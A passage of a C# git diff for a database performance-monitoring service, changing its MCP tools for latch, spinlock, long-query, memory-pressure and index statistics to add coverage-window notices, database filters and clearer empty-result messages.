+        {
+            /* Counts for every server, detail only for the ones that are not known to be running: a healthy fleet adds
+               a few bytes however many servers it has, and a stopped or unknown Agent is named. */
+            envelope["agents_total"] = states.Count;
+            envelope["agents_running"] = states.Count(a => a.AgentRunning == true);
+            envelope["agents_not_running"] = states.Where(a => a.AgentRunning != true).Select(a => AgentFields(a)).ToList();
+            return;
+        }
+
+        var one = states.Count > 0
+            ? states[0]
+            : new DarlingJobReader.AgentState(scope.Value.ServerName, null, DarlingJobReader.AgentUnknownDescription, null, default);
+        envelope["agent_running"] = one.AgentRunning;
+        envelope["agent_status_desc"] = one.AgentStatusDesc;
+        envelope["next_run"] = McpHelpers.FormatEffectiveStart(one.NextRunUtc);
+        envelope["captured_at"] = states.Count > 0 ? McpHelpers.FormatEffectiveStart(one.CapturedAtUtc) : null;
+    }
+
+    private static Dictionary<string, object?> AgentFields(DarlingJobReader.AgentState a) => new()
+    {
+        ["server"] = a.Server,
+        ["agent_running"] = a.AgentRunning,
+        ["agent_status_desc"] = a.AgentStatusDesc,
+        ["captured_at"] = McpHelpers.FormatEffectiveStart(a.CapturedAtUtc)
+    };
 }
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpLatchSpinlockTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpLatchSpinlockTools.cs
index 5988ff89ea..3e189a4f11 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpLatchSpinlockTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpLatchSpinlockTools.cs
@@ -12,6 +12,7 @@
 using System.Text.Json;
 using System.Threading;
 using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
 using ModelContextProtocol.Server;
 using Npgsql;
 using PerformanceMonitor.Common;
@@ -61,6 +62,7 @@ public static async Task<string> GetLatchStats(
         [Description("Hours of data to analyze. Default 24.")] int hours_back = 24,
         [Description("Number of top latch classes to return. Default 10.")] int top = 10,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
@@ -118,13 +120,27 @@ public static async Task<string> GetLatchStats(
                 latest_collection_time = r.LatestCollectionTime.ToString("o")
             });
 
-            return JsonSerializer.Serialize(new
+
+            /* #4966: the window-floor notice. The read windows on collection_time over the raw latch_stats (through its view, no rollup tier),
+               the column the probe reads. A rank cap hides no time range, so the coverage rule applies on a capped page too and
+               the two flags are independent. Only a data answer carries it; the no-rows answers above stay bare. A window of 90
+               minutes or less that answered rows starts no probe. */
+            var windowStart = now.AddHours(-hours_back);
+            var notice = await DarlingMcpWindowNotice.ReadAsync(
+                () => DarlingMcpWindowNotice.Probe(postgres, "latch_stats", resolved.ServerName, windowStart, now, cancellationToken),
+                windowStart, now, "latch_stats", logger: logger, cancellationToken: cancellationToken);
+
+            var json = JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
                 hours_back,
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 latch_count = rows.Count,
                 latches
             }, McpHelpers.JsonOptions);
+            return notice.IsUnavailable ? DarlingMcpWindowNotice.WithoutKeys(json) : json;
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -139,6 +155,7 @@ public static async Task<string> GetSpinlockStats(
         [Description("Hours of data to analyze. Default 24.")] int hours_back = 24,
         [Description("Number of top spinlocks to return. Default 10.")] int top = 10,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
@@ -177,13 +194,27 @@ public static async Task<string> GetSpinlockStats(
                 latest_collection_time = r.LatestCollectionTime.ToString("o")
             });
 
-            return JsonSerializer.Serialize(new
+
+            /* #4966: the window-floor notice. The read windows on collection_time over the raw spinlock_stats (through its view, no rollup tier),
+               the column the probe reads. A rank cap hides no time range, so the coverage rule applies on a capped page too and
+               the two flags are independent. Only a data answer carries it; the no-rows answers above stay bare. A window of 90
+               minutes or less that answered rows starts no probe. */
+            var windowStart = now.AddHours(-hours_back);
+            var notice = await DarlingMcpWindowNotice.ReadAsync(
+                () => DarlingMcpWindowNotice.Probe(postgres, "spinlock_stats", resolved.ServerName, windowStart, now, cancellationToken),
+                windowStart, now, "spinlock_stats", logger: logger, cancellationToken: cancellationToken);
+
+            var json = JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
                 hours_back,
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 spinlock_count = rows.Count,
                 spinlocks
             }, McpHelpers.JsonOptions);
+            return notice.IsUnavailable ? DarlingMcpWindowNotice.WithoutKeys(json) : json;
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpLongQueryTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpLongQueryTools.cs
index 873c3162cd..686188b049 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpLongQueryTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpLongQueryTools.cs
@@ -12,9 +12,11 @@
 using System.Text.Json;
 using System.Threading;
 using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
 using ModelContextProtocol.Server;
 using Npgsql;
 using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
 
 #pragma warning disable CA1707 // MCP tools use snake_case naming convention
 
@@ -23,21 +25,40 @@ namespace PerformanceMonitor.Darling.Service.Mcp;
 /// <summary>
 /// The long-query completion MCP tool — get_long_query_completions — served over Darling's Postgres store
 /// (#1496). Returns the longest completed queries (rpc/batch over the trace's duration threshold) plus
-/// attentions (cancels/timeouts) captured by the opt-in PerformanceMonitor_LongQueryCompletions XE session,
-/// ordered by duration DESC. Mirrors Lite's <c>McpLongQueryTools</c> field-for-field; reads flow through
+/// attentions (cancels/timeouts) captured by the opt-in PerformanceMonitor_Darling_{id}_LongQueryCompletions XE
+/// session this install makes, ordered by duration DESC. Mirrors Lite's <c>McpLongQueryTools</c> field-for-field; reads flow through
 /// <see cref="DarlingLongQueryReader"/> — a STORED read (no live monitored-server hit).
 /// </summary>
 [McpServerToolType]
 public sealed class DarlingMcpLongQueryTools
 {
     [McpServerTool(Name = "get_long_query_completions"), Description("Gets the SLOWEST long-running query completions in the window: rpc/batch completions over the trace's duration threshold, plus attentions (cancels/timeouts), ranked duration DESC, attentions (no duration) last. THE PAGE IS THE window's limit SLOWEST, NOT ITS NEWEST: truncated means the window held more, none slower than the page; oldest/newest_returned_event_time bound the slowest runs' ages, NOT how far the read reached. Collector is opt-in, OFF by default: empty can mean none in the window, or the collector was off — enable 'long_query_completions' in the schedule. <<GUIDE>> Gets the SLOWEST long-running query completions in the window, captured by the opt-in long-query trace: rpc/batch completions whose duration exceeded the trace threshold, plus attentions (client cancels / query timeouts), ranked by duration DESC with attentions (no duration) last. Shows duration, CPU, reads/writes, row count, result (OK/Error/Abort — Abort means the long query was cancelled), the statement text, and the calling session/app/login. THE PAGE IS THE window's limit SLOWEST, NOT ITS NEWEST: completions_returned is how many rows you got and truncated says the window held more than limit. Because the page is duration-RANKED, oldest_returned_event_time / newest_returned_event_time tell you how old the slowest runs are and say NOTHING about how far back the read reached — every row in the window was a candidate, so a truncated page still holds the window's slowest. Both SKUs keep the same population. The collector is OFF by default; if it returns empty, enable the 'long_query_completions' collector in the schedule.")]
-    public static async Task<string> GetLongQueryCompletions(
+    public static Task<string> GetLongQueryCompletions(
         NpgsqlDataSource postgres,
         [Description("Server name or display name.")] string? server_name = null,
         [Description("Hours of history. Default 24.")] int hours_back = 24,
         [Description("Maximum rows to return, slowest first. Default 30. This is what bounds the page — read truncated to know whether the window held more.")] int limit = 30,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        [Description("Limit to one database. Omit for all databases.")] string? database_name = null,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default)
+        => GetLongQueryCompletions(postgres, server_name, hours_back, limit, as_of, DatabaseFilter.One(database_name), logger, cancellationToken);
+
+    /// <summary>
+    /// #5244: the get_long_query_completions read over a LIST of databases. The MCP tool passes
+    /// <c>DatabaseFilter.One(database_name)</c> and the web dispatch passes the repeated keys. The cap applies after the
+    /// filter, so the page is the slowest N of the chosen databases, and the empty path says "for the database X" (one name) or
+    /// "for the chosen databases" (two or more), never a verdict on a database it did not read.
+    /// </summary>
+    internal static async Task<string> GetLongQueryCompletions(
+        NpgsqlDataSource postgres,
+        string? server_name,
+        int hours_back,
+        int limit,
+        string? as_of,
+        DatabaseFilter databaseFilter,
+        ILogger? logger,
+        CancellationToken cancellationToken)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
         if (error != null) return error;
@@ -50,24 +71,58 @@ public static async Task<string> GetLongQueryCompletions(
         try
         {
             var now = windowEnd;
+            var windowStart = now.AddHours(-hours_back);
 
             /* #3541 A3: the caller's limit + 1 as the fetch, the extra row as the observed truncation signal.
                The reader's own LIMIT 200 was invisible to the caller, and `total_completions` published it as
                the window's count. */
             var rows = await DarlingLongQueryReader.GetRecentLongQueryCompletionsAsync(
-                postgres, resolved.ServerId, now.AddHours(-hours_back), now, limit + 1, cancellationToken);
+                postgres, resolved.ServerId, now.AddHours(-hours_back), now, limit + 1, databaseFilter, cancellationToken);
             if (rows.Count == 0)
-                return await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "long_query_completions", cancellationToken)
+            {
+                /* #5244 round 2 (L2): not_collected and precondition echo database_name like every other shape. */
+                var unmet = McpHelpers.WithDatabase(
+                    await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "long_query_completions", cancellationToken),
+                    databaseFilter.Describe())
                     /* #2546: this collector is opt-in, so the fall-through below already sends the reader to
-                       the schedule — which is the wrong place when the collector IS enabled and its session
+                       the schedule, which is the wrong place when the collector IS enabled and its session
                        is missing. The precondition answer names that state instead of quietly blaming a knob
                        that is already switched on. */
-                    ?? await DarlingRuntimePrecondition.StatusAsync(postgres, resolved.ServerId, resolved.ServerName, "long_query_completions", cancellationToken)
-                    ?? McpHelpers.Status("empty", "No long-running query completions found in the specified time range. The long_query_completions collector is opt-in (default OFF) — enable it in the collector schedule to capture data.");
+                    ?? McpHelpers.WithDatabase(
+                        await DarlingRuntimePrecondition.StatusAsync(postgres, resolved.ServerId, resolved.ServerName, "long_query_completions", cancellationToken),
+                        databaseFilter.Describe());
+                if (unmet != null)
+                {
+                    return unmet;
+                }
+
+                /* #4966: the window keys ride on an empty answer under hints; not_collected and the precondition stay bare. */
+                var emptyNotice = await DarlingMcpWindowNotice.ReadEventAsync(
+                    () => DarlingMcpWindowNotice.Probe(postgres, "long_query_completions", resolved.ServerName, windowStart, now, cancellationToken),
+                    null, windowStart, now, "long_query_completions", emptyAnswer: true, logger: logger, cancellationToken: cancellationToken);
+                /* #5244 round 2 (L3): the probe is not database-filtered, so a null floor means the store holds no long-query row for
+                   this server in the window, and only then does the answer send the reader to the opt-in switch. With rows for other
+                   databases the collector is on, and the answer is about the chosen databases. A failed probe gives no verdict, so a
+                   filtered answer leaves the sentence off. */
+                var collectorMayBeOff = databaseFilter.IsAll || (!emptyNotice.IsUnavailable && emptyNotice.EffectiveStart is null);
+                return McpHelpers.StatusForDatabase("empty",
+                    "No long-running query completions found in the specified time range" + DarlingMcpBlockingTools.ForChosenDatabases(databaseFilter)
+                        + (collectorMayBeOff ? ". The long_query_completions collector is opt-in (default OFF) — enable it in the collector schedule to capture data." : "."),
+                    databaseFilter.Describe(), /* #5244 review L2: the echo rides on an empty answer too */
+                    emptyNotice.AsHints());
+            }
 
             var truncated = rows.Count > limit;
             var page = truncated ? rows.Take(limit).ToList() : rows;
 
+            /* #4966: an event list, so the floor is the earlier of the coverage probe and the oldest event the page shows. The probe
+               reads the table on collection_time while the page is ranked by duration, so a first run's backfilled event can be older
+               than the probe's floor. The page is the slowest N, so its oldest event depends on limit; that cannot make a false
+               notice, as the floor only moves earlier, and a first run reads back 10 minutes, well inside the 90-minute slack. */
+            var notice = await DarlingMcpWindowNotice.ReadEventAsync(
+                () => DarlingMcpWindowNotice.Probe(postgres, "long_query_completions", resolved.ServerName, windowStart, now, cancellationToken),
+                page.Min(r => r.EventTime), windowStart, now, "long_query_completions", logger: logger, cancellationToken: cancellationToken);
+
             var result = page.Select(r => new
             {
                 event_time = r.EventTime?.ToString("o"),
@@ -81,7 +136,7 @@ that is already switched on. */
                 result = r.Result,
                 database_name = r.DatabaseName,
                 object_name = r.ObjectName,
-                statement = McpHelpers.Truncate(r.StatementText, 2000),
+                statement = McpHelpers.TruncateStatement(r.StatementText, 2000),
                 session_id = r.SessionId,
                 client_app_name = r.ClientAppName,
                 client_pid = r.ClientPid,
@@ -90,20 +145,31 @@ that is already switched on. */
                 query_hash = r.QueryHash
             });
 
-            return JsonSerializer.Serialize(new
+            var json = JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
                 hours_back,
+                /* #4966: where the store's data starts, always present on a data answer (false and null when the store covered the
+                   window). No effective_hours_back: this payload carries a page `truncated`, and the census holds that key apart
+                   for the window floor. A failed coverage probe leaves the three off (see the return below). */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
+                /* #5244: which databases the page is limited to: the name for one, "the chosen databases" for two or more, null for all. */
+                database_name = databaseFilter.Describe(),
                 /* #3541 A3: the page described as a page. Under a duration RANKING the two stamps bound the
                    slowest runs, not the reach — the description says so, and QueryStoreTopWindowTests states
                    the general trap for cost-ranked pages. */
                 completions_returned = page.Count,
                 truncated,
-                oldest_returned_event_time = page.Min(r => r.EventTime)?.ToString("o"),
-                newest_returned_event_time = page.Max(r => r.EventTime)?.ToString("o"),
+                oldest_returned_event_time = McpHelpers.FormatEffectiveStart(page.Min(r => r.EventTime)),
+                newest_returned_event_time = McpHelpers.FormatEffectiveStart(page.Max(r => r.EventTime)),
                 order = "duration_ms_desc",
                 completions = result
             }, McpHelpers.JsonOptions);
+
+            /* A failed probe costs the notice, never the rows (see DarlingMcpWindowNotice.ReadAsync). */
+            return notice.IsUnavailable ? DarlingMcpWindowNotice.WithoutKeys(json) : json;
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpMemoryGrantTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpMemoryGrantTools.cs
index e9e819c025..9648511d24 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpMemoryGrantTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpMemoryGrantTools.cs
@@ -12,9 +12,11 @@
 using System.Text.Json;
 using System.Threading;
 using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
 using ModelContextProtocol.Server;
 using Npgsql;
 using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
 
 #pragma warning disable CA1707 // MCP tools use snake_case naming convention
 
@@ -204,6 +206,7 @@ public static async Task<string> GetMemoryPressureEvents(
         [Description("Server name or display name.")] string? server_name = null,
         [Description("Hours of history. Default 24.")] int hours_back = 24,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
@@ -217,14 +220,37 @@ public static async Task<string> GetMemoryPressureEvents(
             var now = windowEnd;
             var rows = await DarlingMemoryGrantReader.GetMemoryPressureEventsAsync(
                 postgres, resolved.ServerId, now.AddHours(-hours_back), now, cancellationToken);
+
+            /* #4966: where the store's coverage of the window starts, in the three keys every window-floor tool writes. The events are
+               windowed on sample_time, and an event can predate the collection that stored it (a ring-buffer read hands back history), so
+               the probe is the memory pressure source (DataWindowFloor.Source.ForMemoryPressureEvents): its SQL takes the earlier of the
+               server's coverage and its first event in the window, and no event shown can sit before the start named. An answer with rows
+               over a window of 90 minutes or less needs no probe; an empty one is always probed. */
+            var windowStart = now.AddHours(-hours_back);
             if (rows.Count == 0)
-                return await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "memory_pressure_events", cancellationToken)
-                    ?? McpHelpers.Status("empty", "No memory pressure events found in the requested time range.");
+            {
+                /* not_collected first: it carries no notice, so a probe before it would be thrown away. */
+                var notCollected = await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "memory_pressure_events", cancellationToken);
+                if (notCollected is not null)
+                {
+                    return notCollected;
+                }
+            }
 
-            return JsonSerializer.Serialize(new
+            var notice = await DarlingMcpWindowNotice.ReadAsync(
+                () => DarlingMcpWindowNotice.Probe(postgres, DataWindowFloor.Source.ForMemoryPressureEvents(), resolved.ServerName, windowStart, now, cancellationToken),
+                windowStart, now, "memory_pressure_events", emptyAnswer: rows.Count == 0, logger: logger, cancellationToken: cancellationToken);
+
+            if (rows.Count == 0)
+                return McpHelpers.Status("empty", "No memory pressure events found in the requested time range.", notice.AsHints());
+
+            var payload = new
             {
                 server = resolved.ServerName,
                 hours_back,
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 events = rows.Select(r => new
                 {
                     sample_time = r.SampleTime.ToString("o"),
@@ -232,7 +258,9 @@ public static async Task<string> GetMemoryPressureEvents(
                     memory_indicators_process = r.MemoryIndicatorsProcess,
                     memory_indicators_system = r.MemoryIndicatorsSystem
                 })
-            }, McpHelpers.JsonOptions);
+            };
+            var json = JsonSerializer.Serialize(payload, McpHelpers.JsonOptions);
+            return notice.IsUnavailable ? DarlingMcpWindowNotice.WithoutKeys(json) : json;
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpObjectStatsTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpObjectStatsTools.cs
index a504523c42..025257f5c9 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpObjectStatsTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpObjectStatsTools.cs
@@ -17,6 +17,7 @@
 using Npgsql;
 using PerformanceMonitor.Alerting;
 using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
 
 #pragma warning disable CA1707 // MCP tools use snake_case naming convention
 
@@ -56,10 +57,25 @@ public sealed class DarlingMcpObjectStatsTools
     private const int ObjectLockingTop = 75;
 
     [McpServerTool(Name = "get_table_index_sizes"), Description("Gets the 100 largest tables with per-table size, growth (7d/30d/daily rate), and row counts from the latest daily snapshot. Indexes are rolled up per table. Use to find storage hot-spots and fast-growing tables for capacity planning. Growth is measured only over history the store actually holds: the history block says how many days of snapshots exist and whether the 7-day and 30-day baselines are reachable; growth_7d_mb / growth_30d_mb / growth_pct_30d are null (with the reason in growth_note) when their baseline does not exist, never re-labelled from a nearer one, and growth_over_available_history_* always spans exactly growth_window_days. A table absent from a baseline snapshot (created since) reports null growth for that window, not 0. tables_returned and truncated bound the page.")]
-    public static async Task<string> GetTableIndexSizes(
+    public static Task<string> GetTableIndexSizes(
         NpgsqlDataSource postgres,
         [Description("Server name or display name.")] string? server_name = null,
-        CancellationToken cancellationToken = default)
+        [Description("Limit to one database. Omit for all databases.")] string? database_name = null,
+        CancellationToken cancellationToken = default) =>
+        GetTableIndexSizes(postgres, server_name, DatabaseFilter.One(database_name), cancellationToken);
+
+    /// <summary>
+    /// #5244: get_table_index_sizes over a SET of databases (<see cref="DatabaseFilter.All"/> = every database). The page is
+    /// the largest <see cref="TableSizesTop"/> tables of the CHOSEN databases (the cap, and the over-fetch row that observes
+    /// truncation, apply after the filter), and the <c>history</c> block stays the store's own span for the server, so a
+    /// filtered and an unfiltered call describe the same snapshots.
+    /// <para>One-name consumers made list-aware (#5244 M4), on the empty path: a filter that matches no table is
+    /// <c>empty</c> ("for the database 'X'" or "for the chosen databases", with the server's other rows counted) and never
+    /// <c>unavailable</c>, which stays "this server has no index stats at all". The read has no truncation sentence. Every answer
+    /// shape carries the <c>database_name</c> echo (the name, "the chosen databases", or null for every database).</para>
+    /// </summary>
+    internal static async Task<string> GetTableIndexSizes(
+        NpgsqlDataSource postgres, string? server_name, DatabaseFilter databases, CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
         if (error != null) return error;
@@ -69,10 +85,32 @@ public static async Task<string> GetTableIndexSizes(
             var now = DateTime.UtcNow;
             /* Over-fetch by one so truncation is observed, not inferred from a full page (#3541 A3's rule). */
             var rows = await DarlingObjectStatsReader.GetObjectSizeGrowthAsync(
-                postgres, resolved.ServerId, now.AddDays(-7), now.AddDays(-30), TableSizesTop + 1, cancellationToken);
+                postgres, resolved.ServerId, now.AddDays(-7), now.AddDays(-30), TableSizesTop + 1, databases, cancellationToken);
             if (rows.Count == 0)
-                return await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "index_object_stats", cancellationToken)
-                    ?? McpHelpers.Status("unavailable", "No object size data available. Index/object stats are collected daily.");
+            {
+                /* #5244: a filter that matches no table is a different answer from a server that collects no index stats.
+                   The count reads the same relation and the same newest snapshot, unfiltered, so "there is data, just not
+                   for these databases" is observed. The capability check still runs first for a server with none. */
+                if (!databases.IsAll)
+                {
+                    var anyOnServer = await DarlingObjectStatsReader.GetIndexUsageMatchCountAsync(postgres, resolved.ServerId, DatabaseFilter.All, cancellationToken);
+                    if (anyOnServer > 0)
+                    {
+                        return McpHelpers.StatusForDatabase(
+                            "empty",
+                            $"No table size rows for {DescribeScope(databases)} on {resolved.ServerName} at the latest snapshot, "
+                            + $"though the server has {anyOnServer:N0} index rows across its other databases. Check the database "
+                            + $"{(databases.Names.Count == 1 ? "name" : "names")} against get_database_sizes: the filter matches exactly, "
+                            + "and an excluded or renamed database looks identical to one with no tables.",
+                            databases.Describe());
+                    }
+                }
+
+                return McpHelpers.WithDatabase(
+                           await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "index_object_stats", cancellationToken),
+                           databases.Describe())
+                    ?? McpHelpers.StatusForDatabase("unavailable", "No object size data available. Index/object stats are collected daily.", databases.Describe());
+            }
 
             var truncated = rows.Count > TableSizesTop;
             var page = rows.Take(TableSizesTop).ToList();
@@ -109,6 +147,7 @@ public static async Task<string> GetTableIndexSizes(
             return JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
+                database_name = databases.Describe(),
                 history = new
                 {
                     earliest_snapshot = span.EarliestSnapshotTime.ToString("o"),
@@ -162,11 +201,29 @@ public static async Task<string> GetTableIndexSizes(
     }
 
     [McpServerTool(Name = "get_index_usage"), Description("Per-index usage (seeks, scans, lookups, updates) from the latest daily snapshot, classed Unused, Write-only, or Active. Unused/write-only sort first as drop candidates: on a server with many, results can be one database's unused indexes, hiding Active ones elsewhere. Counters reset at the last restart or index rebuild, so Write-only means no reads since then. last_user_access is UTC (de-skewed): compare directly with get_collection_log and list_servers. <<GUIDE>> Gets per-index usage (seeks, scans, lookups, updates) from the latest daily snapshot, classifying each index as Unused, Write-only, or Active. Unused and write-only indexes are listed FIRST because they are drop candidates - which means that on a server with many unused indexes the row limit can be filled entirely by one database's unused indexes, hiding every Active index elsewhere. Pass database_name to ask about one database, which is almost always what you want; the response carries matching_index_count and truncated so a short answer is never mistaken for an absent one. Counters are cumulative since the last instance restart. last_user_access is UTC - the underlying sys.dm_db_index_usage_stats columns are in the monitored server's local clock and this read de-skews them - so it compares directly against get_collection_log and list_servers. Classification: Unused is zero seeks, scans and lookups AND zero updates; Write-only is zero of the first three but at least one update; everything else is Active. sys.dm_db_index_usage_stats also clears on an index rebuild and on a database detach/reattach, not only on an instance restart, so a heavily-used index that was just rebuilt can read as Unused until it accrues new activity - check the index's maintenance history before treating an Unused row as a drop candidate. Empty results are two different things here. If database_name is given and matches no rows there, but the server has index data in other databases, status is empty, not unavailable, with a note to check the name against get_database_sizes. If nothing matches anywhere on the server, whether or not database_name was given, the result is not_collected (if the engine's collection state says so) or unavailable instead - this tool never reports a truly empty server as empty. The note field says whether the answer is complete or truncated. Truncated means more indexes matched than the cap returned; every Active index that did not fit is among the omitted rows, since Active is never returned ahead of an Unused or write-only one, and if unused/write-only indexes alone outnumber the cap, none of them appear either - a truncated, all-Unused answer says nothing about how many Active indexes exist.")]
-    public static async Task<string> GetIndexUsage(
+    public static Task<string> GetIndexUsage(
         NpgsqlDataSource postgres,
         [Description("Server name or display name.")] string? server_name = null,
         [Description("Limit to one database. Strongly recommended: without it, unused-first ordering can fill the whole result from one database.")] string? database_name = null,
         [Description("Maximum rows to return. Default 75.")] int limit = IndexUsageTop,
+        CancellationToken cancellationToken = default) =>
+        GetIndexUsage(postgres, server_name, DatabaseFilter.One(database_name), limit, cancellationToken);
+
+    /// <summary>
+    /// #5245: get_index_usage over a SET of databases. <paramref name="databases"/> is <see cref="DatabaseFilter.All"/> for
+    /// every database. Otherwise the page is the unused-first top <paramref name="limit"/> of the CHOSEN databases only
+    /// (the cap applies after the filter), <c>matching_index_count</c> counts the chosen databases' rows, and every
+    /// sentence that used to name one database says so for a list too: "for database 'X'" for one name and "for the
+    /// chosen databases" for two or more, with no verdict about a database the read never looked at.
+    /// <para>One-name consumers made list-aware (#5245 M4): the empty-result sentence and its "the server has N across
+    /// its other databases" probe (the probe stays server-wide, so it can say there is data elsewhere); the truncation
+    /// note (it told the caller to "pass database_name", which a filtered call already did); the echoed
+    /// <c>database_name</c> (the name for one, <see cref="DatabaseFilter.Describe"/> for a list, null for all). The
+    /// status word is unchanged: <c>empty</c> is "looked at the chosen databases, found nothing", <c>unavailable</c>
+    /// is "this server has no index stats at all".</para>
+    /// </summary>
+    internal static async Task<string> GetIndexUsage(
+        NpgsqlDataSource postgres, string? server_name, DatabaseFilter databases, int limit = IndexUsageTop,
         CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
@@ -177,26 +234,26 @@ public static async Task<string> GetIndexUsage(
 
         try
         {
-            var database = string.IsNullOrWhiteSpace(database_name) ? null : database_name;
+            var scope = DescribeScope(databases);
 
-            var rows = await DarlingObjectStatsReader.GetIndexUsageAsync(postgres, resolved.ServerId, limit, database, cancellationToken);
+            var rows = await DarlingObjectStatsReader.GetIndexUsageAsync(postgres, resolved.ServerId, limit, databases, cancellationToken);
             if (rows.Count == 0)
             {
                 /* #2636: a database filter that matches nothing is a DIFFERENT answer from a server that
                    collects no index stats, and the reporter hit the first while being told the second. The
                    capability check still runs first — a wrong-engine target has no index_object_stats at all
                    — and only then does the filter get blamed for its own empty result. */
-                if (database is not null)
+                if (scope is not null)
                 {
-                    var anyOnServer = await DarlingObjectStatsReader.GetIndexUsageMatchCountAsync(postgres, resolved.ServerId, cancellationToken: cancellationToken);
+                    var anyOnServer = await DarlingObjectStatsReader.GetIndexUsageMatchCountAsync(postgres, resolved.ServerId, DatabaseFilter.All, cancellationToken);
 
                     if (anyOnServer > 0)
                     {
                         return McpHelpers.Status(
                             "empty",
-                            $"No index usage rows for database '{database}' on {resolved.ServerName} at the "
+                            $"No index usage rows for {scope} on {resolved.ServerName} at the "
                             + $"latest snapshot, though the server has {anyOnServer:N0} across its other "
-                            + "databases. Check the database name against get_database_sizes — the filter "
+                            + $"databases. Check the database {(databases.Names.Count == 1 ? "name" : "names")} against get_database_sizes — the filter "
                             + "matches exactly, and an excluded or renamed database looks identical to one "
                             + "with no indexes.");
                     }
@@ -208,7 +265,7 @@ capability check still runs first — a wrong-engine target has no index_object_
 
             /* Counted BEFORE the cap, by a second query. A count taken over the returned rows is a count of
                the page, which is the whole defect this answers. */
-            var matching = await DarlingObjectStatsReader.GetIndexUsageMatchCountAsync(postgres, resolved.ServerId, database, cancellationToken);
+            var matching = await DarlingObjectStatsReader.GetIndexUsageMatchCountAsync(postgres, resolved.ServerId, databases, cancellationToken);
             var truncated = matching > rows.Count;
 
             var result = rows.Select(r => new
@@ -232,16 +289,20 @@ capability check still runs first — a wrong-engine target has no index_object_
             return JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
-                database_name = database,
+                database_name = databases.Describe(),
                 returned_index_count = rows.Count,
                 matching_index_count = matching,
                 truncated,
                 note = truncated
-                    ? $"TRUNCATED: {matching:N0} indexes match and {rows.Count:N0} were returned. Rows are "
-                      + "ordered UNUSED FIRST across the whole server, so the ones omitted are the ACTIVE "
-                      + "indexes and they may be concentrated in databases with no rows here at all. This is "
-                      + "not evidence that a database was not collected — pass database_name to ask about "
-                      + "one, or raise limit."
+                    ? (scope is null
+                        ? $"TRUNCATED: {matching:N0} indexes match and {rows.Count:N0} were returned. Rows are "
+                          + "ordered UNUSED FIRST across the whole server, so the ones omitted are the ACTIVE "
+                          + "indexes and they may be concentrated in databases with no rows here at all. This is "
+                          + "not evidence that a database was not collected — pass database_name to ask about "
+                          + "one, or raise limit."
+                        : $"TRUNCATED: {matching:N0} indexes match {scope} and {rows.Count:N0} were returned. Rows are "
+                          + $"ordered UNUSED FIRST across {scope}, so the ones omitted are the ACTIVE "
